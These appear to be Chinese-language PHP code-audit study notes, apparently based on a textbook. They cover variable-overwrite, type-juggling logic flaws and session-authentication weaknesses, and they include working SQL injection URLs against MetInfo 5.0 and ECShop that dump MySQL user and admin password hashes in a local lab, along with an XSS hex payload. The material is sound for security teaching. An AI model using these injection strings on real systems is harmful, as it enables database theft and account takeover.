- [1. 变量覆盖漏洞 ](#1-变量覆盖漏洞 )
- [1.1. 变量覆盖漏洞挖掘经验 ](#11-变量覆盖漏洞挖掘经验 )
- [1.1.1. extract()函数 ](#111-extract函数 )
- [1.1.2. parse\_str()函数 ](#112-parse_str函数 )
- [1.1.3. import\_request\_variables函数 ](#113-import_request_variables函数 )
- [1.1.4. $$变量覆盖 ](#114-变量覆盖 )
- [1.2. Metinfo变量覆盖漏洞分析 ](#12-metinfo变量覆盖漏洞分析 )
- [1.3. 变量覆盖漏洞防范 ](#13-变量覆盖漏洞防范 )
- [2. 逻辑处理漏洞 ](#2-逻辑处理漏洞 )
- [2.1. 挖掘经验 ](#21-挖掘经验 )
- [2.1.1. 等于与存在判断绕过 ](#211-等于与存在判断绕过 )
- [2.1.2. 账户体系中的越权漏洞 ](#212-账户体系中的越权漏洞 )
- [2.1.3. 未exit或return引发的安全问题 ](#213-未exit或return引发的安全问题 )
- [2.1.4. 常见支付漏洞 ](#214-常见支付漏洞 )
- [2.2. Ecshop逻辑错误注入 ](#22-ecshop逻辑错误注入 )
- [3. 会话认证漏洞 ](#3-会话认证漏洞 )
- [3.0.1. 会话认证漏洞挖掘经验 ](#301-会话认证漏洞挖掘经验 )
- [3.1. Espcms任意用户登录分析 ](#31-espcms任意用户登录分析 )
# 1. 变量覆盖漏洞
变量覆盖指的是可以用自定义的参数值替换程序原有的变量值。通常需要结合程序的其他功能来实现完整攻击比如一个文件上传页面, 限制的文件扩展名白名单列表写在配置文件中变量中, 但是变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表, 那就可以添加一个PHP的扩展名, 从而上传一个PHP的shell。
变量覆盖漏洞大多由函数使用不当导致经常引发变量覆盖漏洞的函数有: extract()函数和parse_str()函数, import_request_variables() 函数则是用在没有开启全局变量注册的时候, 调用了这个函数则相当于开启了全局变量注册, 在PHP 5.4之后这个函数已经被取消。
利用$$的方式注册变量,没验证已有变量导致覆盖是国内多套程序都犯过的一个问题,这些应用在使用外部传递进来的参数时不是用类似于 $_GET['key']这样原始的数组变量, 而是把里面的key注册成了一个变量$key, 注册过程中由于没有验证该变量是否已经存在就直接赋值, 所以导致已有的变量值会被覆盖掉。
## 1.1. 变量覆盖漏洞挖掘经验
不仅仅要考虑的是能够实现变量覆盖还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。
### 1.1.1. [extract()](https://www.php.net/manual/zh/function.extract.php)函数
int extract ( array & $var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]])
第二个参数extract_type的取值:
- EXTR_OVERWRITE: 默认, 如果有冲突, 则覆盖已有的变量
- EXTR_SKIP: 如果有冲突, 不覆盖已有的变量;
- EXTR_PREFIX_SAME: 如果有冲突, 在变量名前加上前缀prefix
- EXTR_PREFIX_ALL: 给所有的变量名前加上前缀prefix
- EXTR__PREFIX_INVALID: 仅在非法或数字变量名前加上前缀prefix。
- EXTR_IF_EXISTS: 仅在当前符号表中已有同名变量时, 覆盖它们的值, 其他的都不处理。
- EXTR_PREFIX_IF_EXISTS: 仅在当前符号表中已有同名变量时, 建立附加了前缀的变量名, 其他的都不处理。
- EXTF_REFS: 将变量作为引用提取。导入的变量仍然引用了var_array参数的值。可以单独使用这个标志, 或者在extract_type中用OR与其他任何标志结合使用。
符号表是指当前php页面中, 所有变量名称的集合可以使用函数get_defined_vars直接获得当前所有已定义变量列表的多维数组如: print_r(get_defined_vars());
第一个参数var_array是必须的, 会不会导致变量覆盖漏洞由第二个参数决定。该函数有三种情况会覆盖掉已有变量:
- 第一种是第二个参数为EXTR_ OVERWRITE, 它表示如果有冲突, 则覆盖已有的变量;
- 第二种情况是只传入第一个参数, 这时候默认为EXTR_OVERWRITE模式;
- 第三种则是第二个参数为EXTR_IF_ EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "extract()函数使用举例:"."< br / > ";
$b = 3;
$a = array("b" => "2","k" => "1");
extract($a);
print_r($b);
echo '< br / > ';
print_r($a);
?>
```
```
http://localhost/2020CodeAudit/C6/6-1-1-1-extract-4.php
```
结果:
```
extract()函数使用举例:
2
Array ( [b] => 2 [k] => 1 )
```
变量$b被覆盖了。
### 1.1.2. [parse_str()](https://www.php.net/manual/zh/function.parse-str.php)函数
解析字符串并且注册成变量它在注册变量。之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。
语法结构: void parse_str ( string $str [, array & $arr ])
第二个参数$arr是一个数组, 注册的变量会放到这个数组里面, 但是如这个数组原来就存在相同的键 (key),则会覆盖掉原有的键值。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "parse_str()函数使用举例:"."< br / > ";
$b = 1;
parse_str('b=2');
print_r($b);
?>
```
```
http://localhost/2020CodeAudit/C6/6-1-1-1-parse_str-2.php
```
结果
```
parse_str()函数使用举例:
2
```
### 1.1.3. [import_request_variables](https://www.php.net/manual/zh/function.mb-convert-variables.php)函数
把 GET、POST、COOKIE 的参数注册成变量。用在register_globals被禁止的时候, 需要PHP 4.1至5.4之间的版本。不过建议不开启register_globals也不要使用。
该函数的说明如下: bool import_request_variables ( string $types [, string $prefix ])
- 其中$type代表要注册的变量, G代表GET, P代表POST, C代表COOKIE,所以当$type为GPC的时候, 则会注册GET、POST、COOKIE参数为变量。
- 第二个参数$prefix为要注册的变量前缀。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "import_request_variables()函数使用举例:"."< br / > ";
$b = 22;
import_request_variables('GPC');
echo "\$a = $a";
echo '< br / > ';
echo "\$b = $b";
echo '< br / > ';
echo "\$c = $c";
?>
```
```
http://localhost/2020CodeAudit/C6/6-1-1-1-import_r_v.php?b=2
```
输出:
```
import_request_variables()函数使用举例:
$a =
$b = 2
$c =
```
### 1.1.4. $$变量覆盖
```php
< ?php
$a=1;
foreach(array('_COOKIE','_POST','_GET') as $_REQUEST){
foreach($$_REQUEST as $_key => $_value){
echo $_key . '< br / > ';
$$_key = addslashes($_value);
}
}
echo $a;
?
```
解析: 如果只通过GET提交a=1, 无POST/COOKIE则```$_REQUEST=_GET```, ```$$_REQUEST==$_GET```。
```
http://localhost/2020CodeAudit/C6/6-1-1-2-cover-1.php?a=2
```
结果
```
a
2
```
## 1.2. Metinfo变量覆盖漏洞分析
include/common.inc.php 文件中:
```php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { // line 29
foreach($$_request as $_key => $_value) {
$_key{0} != '_' & & $$_key = daddslashes($_value);
}
}
```
在这段代码之前的变量,都可以覆盖掉,包括数据库配置。
书上的SQL语句这个版本里没有。另外找了如下语句:
```php
if($met_oline!=1){ // line 98
$query="select * from $met_app where site=1 and download=1";
$app_file = $db->get_all($query);
foreach($app_file as $keyfile=>$valflie){
if(file_exists(ROOTPATH."$met_adminfile".$valflie['url'])){require_once ROOTPATH."$met_adminfile".$valflie['url'];}
}
}
```
这里为了演示, 修改一下源代码, 用于显示SQL的执行结果, 只是为了展示SQL的注入效果。
```php
if($met_oline!=1){
$query="select * from $met_app where site=1 and download=1";
echo "$query\n"; // 增加的代码
$app_file = $db->get_all($query);
print_r($app_file); // 增加的代码
foreach($app_file as $keyfile=>$valflie){
if(file_exists(ROOTPATH."$met_adminfile".$valflie['url'])){require_once ROOTPATH."$met_adminfile".$valflie['url'];}
}
}
```
URL请求:
```
http://localhost/MetInfo5.0/include/common.inc.php?met_oline=2& met_app=mysql.user limit 1 %23
```
结果:
```
select * from mysql.user limit 1 # where site=1 and download=1
Array
(
[0] => Array
(
[Host] => localhost
[User] => root
[Select_priv] => Y
[Insert_priv] => Y
[Update_priv] => Y
[Delete_priv] => Y
[Create_priv] => Y
[Drop_priv] => Y
[Reload_priv] => Y
[Shutdown_priv] => Y
[Process_priv] => Y
[File_priv] => Y
[Grant_priv] => Y
[References_priv] => Y
[Index_priv] => Y
[Alter_priv] => Y
[Show_db_priv] => Y
[Super_priv] => Y
[Create_tmp_table_priv] => Y
[Lock_tables_priv] => Y
[Execute_priv] => Y
[Repl_slave_priv] => Y
[Repl_client_priv] => Y
[Create_view_priv] => Y
[Show_view_priv] => Y
[Create_routine_priv] => Y
[Alter_routine_priv] => Y
[Create_user_priv] => Y
[Event_priv] => Y
[Trigger_priv] => Y
[Create_tablespace_priv] => Y
[ssl_type] =>
[ssl_cipher] =>
[x509_issuer] =>
[x509_subject] =>
[max_questions] => 0
[max_updates] => 0
[max_connections] => 0
[max_user_connections] => 0
[plugin] => mysql_native_password
[authentication_string] => *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[password_expired] => N
[password_last_changed] => 2019-05-06 13:47:14
[password_lifetime] =>
[account_locked] => N
)
)
```
## 1.3. 变量覆盖漏洞防范
- 不进行变量注册,建议直接用原生的```$_GET```、```$_POST```等数组变量进行操作。
- 如果考虑程序可读性等原因,需要注册个别变量,可以直接在代码中定义变量,然后再把请求中的值赋值给它。如果一定要使用前面几种方式注册变量,可以在注册变量前先判断变量是否存在
- 如使用extract()函数则可以配置第二个参数为EXTR_ SKIP。使用parse_str()函数注册变量前需要先自行通过代码判断变量是否存在。
- 不建议使用import_request_variables()函数注册全局变量
# 2. 逻辑处理漏洞
指程序在业务逻辑上面的漏洞由于业务逻辑漏洞。大多都存在逻辑处理以及业务流程中,没有特别明显的关键字可以用来快速定位,通常这类漏洞的挖掘技巧是通读功能点源码,先熟悉这套程序的业务流程,后面挖掘起来就会比较顺畅。
值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用 户密码、cookie是否可预测或者说cookie验证是否可绕过等等。
## 2.1. 挖掘经验
### 2.1.1. 等于与存在判断绕过
绕过逻辑判断,从而实现攻击。
[in_array() ](https://www.php.net/manual/zh/function.in-array.php )函数
用来判断一个值是否在某一个数组列表里面。如果是则返回true, 否则返回false。通常的判断方式如下: in_array('b', array('a', 'b' , 'c'))这样是没有什么问题的。
过滤GET参数typeid在不在1,2,3,4这个数组里面, 如果在则拼接到SQL语句里。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "in_array()函数绕过举例:"."< br / > ";
//var_dump(in_array('b', array('a', 'b' , 'c')));
if(in_array($_GET['typeid'],array(1,2,3,4))){
$sql = "select * from users where typeid='" . $_GET['typeid'] ."'";
echo $sql;
}
?>
```
in_array()函数存在一个问题:比较之前会自动做类型转换。
如果我们请求/1.php?typeid=l' union select
显示: select . . . where typeid='l' union select'
```
http://localhost/2020CodeAudit/C6/6-2-1-1-inarray.php?typeid=1' union select 1,2,3,4 %23
```
结果
```
in_array()函数绕过举例:
select * from users where typeid='1' union select 1,2,3,4 #'
```
注意,字符串 1' union select 1,2,3,4 %23 经过类型转换后, 是整形1; PHP的[intval](https://www.php.net/manual/zh/function.intval.php)的表现和大多语言不同!
```
intval($_GET['typeid']); // 转换后的结果是1
```
[is_numeric() ](https://www.php.net/manual/zh/function.is-numeric.php )函数
判断一个变量是否为数字, 如果是则返回true,否则返回false
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "is_numeric()函数绕过举例:"."< br / > ";
if(is_numeric($_GET['var'])){
$sql = "insert into tables(1,2) values('xx',{$_GET['var']})";
echo $sql;
}
?>
```
判断_GET中的var变量是否为数字, 如果是, 则执行SQL语句。
is_numeric()函数存在一个问题: 当传入的参数为hex时则直接通过, 并返回true。而MySQL是可以直接使用hex编码代替字符串明文的, 存在二次注入和XSS等漏洞隐患。
```
< script > a l e r t ( l ) < / s c i p t > 的 h e x 编 码
0x3c7363726970743e616c6572742831293c2f73636970743e
```
测试URL
```
http://localhost/2020CodeAudit/C6/6-2-1-1-isnumeric.php?var=0x3c7363726970743e616c6572742831293c2f73636970743e
```
结果:
```
is_numeric()函数绕过举例:
insert into tables(1,2) values('xx',0x3c7363726970743e616c6572742831293c2f73636970743e)
```
一个真是的SQL插入测试:
```sql
insert into userinfo(username,PASSWORD, email) values('xx',0x3c7363726970743e616c6572742831293c2f73636970743e,'a');
```

双等于和三等于
双等于在判断等于之前会先做变量[类型转换](https://www.php.net/manual/zh/language.types.type-juggling.php),而三等于则不会,由于数据类型被改变,所以双等于在判断的时候可能存在安全风险。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "==和===举例:"."< br / > ";
var_dump($_GET['var']==2);//2aaa
echo "< br / > ";
var_dump($_GET['var']===2);
echo "< br / > ";
var_dump($_GET['var']==='2');
echo "< br / > ";
var_dump($_GET['var']==='2aa');
echo "< br / > ";
var_dump($_GET['var']==='2aaa');
?>
```
```
http://localhost/2020CodeAudit/C6/6-2-1-1-dubleequal.php?var=2aaa
```
返回结果:
```
==和===举例:
bool(true)
bool(false)
bool(false)
bool(false)
bool(true)
```
### 2.1.2. 账户体系中的越权漏洞
越权漏洞分为水平越权和垂直越权。
- 水平越权指原相同等级权限的用户A和B, A用户可以查看或操作到B用户的私有信息, 而这个权限本来是A用户不该拥有的权限。
- 垂直权限指不在同权限等级的用户A和B, 低权限等级的用户A可以查看或操作高权限等级B的私有信息, 而这个权限本来是A用户不该拥有的权限。
都是账户体系上在判断权限时不严格导致存在绕过漏洞。这一类的绕过通常发生在cookie验证不严、简单判断用户提交的参数, 归根结底, 都是因为这些参数是在客户端提交, 服务器端未严格校验。
### 2.1.3. 未exit或return引发的安全问题
在 if 语句的代码块内退出当前操作,有不少程序忘记写 return, die()或者exit(),导致程序还是会继续执行。
```php
if(file_exists('install.lock'){
//程序已安装,跳转到首页
header("Location: ../1-register.php");}
//进入安装流程
```
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "header()函数跳转绕过举例:"."< br / > ";
if($_GET['var']==='aa'){
//程序已安装,跳转到首页
header("Location: ./1-register.php");
}
//exit();
echo $_GET['var'];
?>
```
问题:如何查看后面的代码任然运行了?
### 2.1.4. 常见支付漏洞
第一、二、三种比较简单, 分别是客户端可修改单价、总价和购买数量, 服务器端未校验严格导致。这种类型的漏洞一般是在客户端通过js计算商品的总价, 服务器没有进行严格的验证所致。客户端的数据, 甚至html、js都是可以通过调试模式进行修改的。
还有一种是以重复发包来利用时间差,以少量的钱多次购买。

## 2.2. Ecshop逻辑错误注入
[str_replace ](https://www.php.net/manual/zh/function.str-replace.php ) 函数
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文 a=0& b=%00'
echo "ecshop逻辑错误注入, 举例: "."< br / > ";
$a = addslashes($_GET['a']);// 0
$b = addslashes($_GET['b']);// \0\'
print_r($a . '< br / > ');
print_r($b . '< br / > ');
print_r(str_replace($a,'',$b));// \\'
?>
```
测试url
```
http://localhost/2020CodeAudit/C6/6-2-1-5-strreplace.php?a=0& b=%00'
```
结果:
```
ecshop逻辑错误注入, 举例:
0
\0\'
\\'
```
- 0x00 添加 slashe 后是 \0
- 字符 ' 添加 slashe 后是 \‘
- 最后组合成 \0\\'
str_replace 函数又把 字符 0 删除掉了,因最终结果是 \\\\'
\\\ 在字符串中表示字符 \ ,经过转义的。
以上是背景。
漏洞核心代码在\includes\modules\payment\alipay.php文件 respond()函数。
```php
$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); //line 216
$order_sn = trim($order_sn);
/* 检查支付的金额是否相符 */
if (!check_money($order_sn, $_GET['total_fee']))
{
return false;
}
```
```
http://localhost/ECshop/respond.php?code=alipay& subject=0& out_trade_no=%00' and (select * from (select count(* ),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) %23
```
> 注意:这里并没有看到 addslashes 函数的使用,应该是在 respond.php 调用的过程中统一对 GET 参数进行了处理,有兴趣的同学可以分析一下。
>
> 最好使用 %23 引入 # 来屏蔽代码中闭合的单引号, 这样SQL才是合法的
运行结果:
```php
< b > MySQL server error report:Array
(
[0] => Array
(
[message] => MySQL Query Error
)
[1] => Array
(
[sql] => SELECT order_amount FROM `ecshop` .`ecs_pay_log` WHERE log_id = '\\' and (select * from (select count(* ),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) #'
)
[2] => Array
(
[error] => Duplicate entry '0admin0acc94931bc6e1ee2f8e20cc37303c4d' for key 1
)
[3] => Array
(
[errno] => 1062
)
)
```
> 注意:该代码好像只能在 mysql 5.0 下运行才会返回秘密字符串;而且不是每一次都成功。这里应该是利用了特定版本 mysql 的错误信息漏洞。
另外,浮现该漏洞需要打开后台的支付宝功能。

# 3. 会话认证漏洞
会话认证涉及各种认证协议和框架, 如cookie, session, SSO、OAuth , OpenID等
- SSO: 单点登录, 就是通过用户的一次性鉴别登录
- OAuth: 一种授权机制。数据的所有者告诉系统, 同意授权第三方应用进入系统, 获取这些数据。系统从而产生一个短期的进入令牌( token) , 用来代替密码, 供第三方应用使用。
- OpenID: 是一个去中心化的网上身份认证系统。对于支持OpenID的网站, 用户不需要记住像用户名和密码这样的传统验证标记。取而代之的是, 他们只需要预先在一个作为OpenID身份提供者( identity provider, IdP) 的网站上注册。
- 还有现在广泛使用的微信认证,也是三方认证。
出现问题比较多的在cookie。
### 3.0.1. 会话认证漏洞挖掘经验
先看一下程序的登录功能代码, 看看整个登录过程的业务逻辑有没有可以控制session值或者直接绕过密码验证的漏洞。
另外需要关注程序验证是否为登录的代码, 通俗的说是验证cookie的代码, 是不是直接去取cookie里面的值, 然后怎么去判断这个值来验证是否登录。
cookie 认证安全:
- cookie可以保存任何字符串, 大小一般都不超过4096个字节/4096B
- cookie用来保存登录账号的标识信息, 比如用户名或者sessionid等
- cookie出现问题比较多的是cookie的SQL注入和cookie伪造
## 3.1. Espcms任意用户登录分析
文件/interface/memebermain.php的in_center()函数
```php
parent::start_pagetemplate();
parent::member_purview(); // line 24
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' ";
$db_table1 = db_prefix . 'member AS a';
$db_table2 = db_prefix . 'member_value AS b';
$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id ";
$rsMember = $this->db->fetch_first($db_sql);
$rsMember['rankname'] = $this->get_member_purview($rsMember['mcid'], 'rankname');
$userid = $this->ec_member_username_id; // line 33
```